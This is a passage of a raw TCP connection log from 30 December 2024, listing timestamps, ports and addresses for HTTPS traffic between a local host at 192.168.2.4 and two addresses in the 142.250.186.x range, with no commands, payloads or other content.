Dec 30, 2024 11:36:05.620331049 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.620460033 CET	443	49796	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.621010065 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.621093035 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.621459007 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.621572971 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.622515917 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.622528076 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.622796059 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.623214960 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.623215914 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.663341045 CET	443	49796	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.667337894 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.922036886 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.922349930 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.926808119 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.926820040 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.927033901 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:05.927040100 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:05.976896048 CET	443	49796	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.977073908 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.977364063 CET	443	49796	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.977401018 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.977408886 CET	443	49796	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.977416039 CET	443	49796	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.977458000 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.977492094 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.977492094 CET	49796	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.977818966 CET	49801	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.977869987 CET	443	49801	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.978070021 CET	49801	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.978374004 CET	49801	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.978391886 CET	443	49801	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.988809109 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.989037037 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.989061117 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.989118099 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.989670992 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.989718914 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.989747047 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.991189957 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.991205931 CET	443	49797	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.991226912 CET	49797	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.991771936 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.991812944 CET	443	49802	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:05.991944075 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.992398024 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:05.992405891 CET	443	49802	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.077430010 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.077564955 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.077959061 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.077966928 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.079216003 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.079221964 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.331655025 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.331712008 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.331748962 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.331764936 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.331783056 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.331904888 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.331912041 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.331923962 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.331945896 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.332005978 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.332573891 CET	49799	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.332588911 CET	443	49799	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.334678888 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.334726095 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.334824085 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.335206032 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.335222960 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.492414951 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.492479086 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.492494106 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.492520094 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.492536068 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.492583036 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.492587090 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.492660046 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.492664099 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.492698908 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.493663073 CET	49800	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.493680954 CET	443	49800	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.495194912 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.495330095 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.495400906 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.495625973 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.495677948 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.587177992 CET	443	49801	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.587281942 CET	49801	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:06.588068008 CET	49801	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:06.588076115 CET	443	49801	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.588125944 CET	49801	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:06.588130951 CET	443	49801	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.590954065 CET	443	49802	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.591088057 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:06.591609001 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:06.591619968 CET	443	49802	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.592024088 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:06.592039108 CET	443	49802	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.953064919 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:06.956487894 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:06.966721058 CET	443	49801	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.967144012 CET	443	49801	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.967255116 CET	49801	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:06.976226091 CET	443	49802	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.976470947 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:06.976496935 CET	443	49802	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.976541996 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:06.976550102 CET	443	49802	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.976588964 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:06.976603985 CET	443	49802	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:06.976646900 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.093288898 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.095886946 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.155602932 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.155638933 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.157414913 CET	49801	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.157444000 CET	443	49801	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:07.157489061 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.157504082 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.157821894 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.157845974 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.158001900 CET	49802	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.158107042 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.158113003 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.158305883 CET	49807	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.158345938 CET	443	49807	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:07.158437014 CET	49807	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.158943892 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.158981085 CET	443	49808	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:07.159007072 CET	49807	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.159018993 CET	443	49807	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:07.159080982 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.159205914 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.159221888 CET	443	49808	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:07.479273081 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.479335070 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.479340076 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.479362011 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.479379892 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.479408026 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.479413033 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.479444981 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.479444981 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.479480982 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.483083963 CET	49805	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.483114958 CET	443	49805	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.501808882 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.501857042 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.502177000 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.502427101 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.502439022 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.622445107 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.622508049 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.622522116 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.622613907 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.622652054 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.622675896 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.622689009 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.622710943 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.622756004 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.622756004 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.625735998 CET	49806	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:07.625771999 CET	443	49806	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:07.758327007 CET	443	49807	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:07.758433104 CET	49807	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.760498047 CET	49807	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.760509968 CET	443	49807	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:07.762530088 CET	49807	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.762536049 CET	443	49807	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:07.782845020 CET	443	49808	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:07.783745050 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.789720058 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.789730072 CET	443	49808	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:07.789901018 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:07.789908886 CET	443	49808	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.101717949 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.101782084 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.102160931 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.102169037 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.102338076 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.102341890 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.122189045 CET	443	49807	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.123226881 CET	443	49807	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.123301983 CET	49807	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.142187119 CET	49807	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.142227888 CET	443	49807	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.151410103 CET	49810	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.151452065 CET	443	49810	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.151698112 CET	49810	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.153422117 CET	49810	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.153434038 CET	443	49810	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.156894922 CET	443	49808	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.156944990 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.156954050 CET	443	49808	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.156994104 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.157933950 CET	443	49808	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.157979012 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.158010960 CET	443	49808	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.158047915 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.200923920 CET	49808	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.200941086 CET	443	49808	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.201577902 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.201627970 CET	443	49811	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.201700926 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.202522993 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.202536106 CET	443	49811	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.203665972 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.203722954 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.204008102 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.204226017 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.204236031 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.514648914 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.514699936 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.514708996 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.514727116 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.514782906 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.514782906 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.514791965 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.514801025 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.514884949 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.515811920 CET	49809	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.515830040 CET	443	49809	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.517277956 CET	49814	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.517318964 CET	443	49814	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.517405987 CET	49814	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.518575907 CET	49814	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.518587112 CET	443	49814	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.763684988 CET	443	49810	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.763772964 CET	49810	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.764184952 CET	49810	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.764195919 CET	443	49810	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.764436960 CET	49810	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.764441013 CET	443	49810	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.803997993 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.804109097 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.804826021 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.804836988 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.806658983 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:08.806663990 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:08.823270082 CET	443	49811	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.823344946 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.823733091 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.823744059 CET	443	49811	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:08.823949099 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:08.823955059 CET	443	49811	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.141761065 CET	443	49810	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.141887903 CET	49810	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.141910076 CET	443	49810	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.141946077 CET	49810	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.142074108 CET	49810	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.142105103 CET	443	49810	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.142159939 CET	49810	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.144026041 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.144062042 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.144289970 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.146159887 CET	443	49814	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.146245956 CET	49814	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.146774054 CET	49814	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.146791935 CET	443	49814	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.147233963 CET	49814	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.147243977 CET	443	49814	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.152502060 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.152519941 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.202722073 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.202776909 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.202776909 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.202806950 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.202846050 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.202853918 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.202881098 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.202887058 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.202923059 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.203640938 CET	49812	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.203670025 CET	443	49812	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.204241991 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.204301119 CET	443	49816	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.204423904 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.204638004 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.204662085 CET	443	49816	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.208076954 CET	443	49811	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.208170891 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.208197117 CET	443	49811	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.208426952 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.208617926 CET	443	49811	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.208673000 CET	443	49811	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.208683014 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.208798885 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.208901882 CET	49811	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.208919048 CET	443	49811	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.210199118 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.210242033 CET	443	49817	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.210477114 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.228513002 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.228549004 CET	443	49817	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.575855970 CET	443	49814	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.575920105 CET	443	49814	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.576026917 CET	49814	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.576031923 CET	443	49814	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.576407909 CET	49814	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.779370070 CET	49814	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.779414892 CET	443	49814	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.779453039 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.779553890 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.779947996 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.779999971 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.780163050 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.780210018 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.780251980 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.780510902 CET	49818	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.780534029 CET	443	49818	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.814011097 CET	443	49816	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.814991951 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.847837925 CET	443	49817	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.847925901 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.848611116 CET	443	49817	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.848673105 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.851907969 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.851932049 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.852229118 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.852381945 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.854887009 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.854912996 CET	443	49817	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.855333090 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.855546951 CET	443	49817	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.855699062 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.856513023 CET	49817	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:09.867433071 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.867453098 CET	443	49816	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.867592096 CET	49816	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:09.867609978 CET	443	49816	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:09.903328896 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:09.903335094 CET	443	49817	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.157401085 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.157470942 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.158314943 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.158380032 CET	443	49815	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:10.158427954 CET	49815	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:10.158427954 CET	49815	443	192.168.2.4	142.250.186.142
